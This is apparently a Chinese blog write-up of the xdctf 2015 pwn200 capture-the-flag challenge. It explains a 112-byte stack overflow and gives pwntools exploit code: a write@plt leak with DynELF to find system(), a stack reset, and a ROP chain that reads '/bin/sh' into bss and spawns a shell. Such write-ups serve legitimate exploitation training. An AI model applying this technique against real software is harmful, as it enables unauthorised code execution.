Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

xdctf 2015 pwn200 writeup

为栈溢出,溢出点为buf,长度0x6C,read可输入0x100。溢出偏移为112。

1
read(0, &buf, 0x100u); // buf length: 0x6C

因为无libc,因此需要通过泄漏获取libc信息来获取system函数地址:

1
2
3
4
5
6
7
8
def leak(address):
payload = 'a' * 112 + p32(write_plt) + p32(0x8048484) + p32(1) + p32(address) + p32(4) # 返回到0x8048484使得泄漏可以重复
p.send(payload)
data = recv(4)
return data

d = DynELF(leak, elf=ELF('./xdctf15-pwn200'), libcdb=False)
system_addr = d.lookup('system', 'libc')

接着调用start函数恢复栈:

1
payload = 'a' * 112 + p32(start_addr)

调用read函数输入”/bin/sh”字符串,最后调用system函数:

1
payload = 'a' * 112 + p32(read_plt) + p32(0x804856c) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr)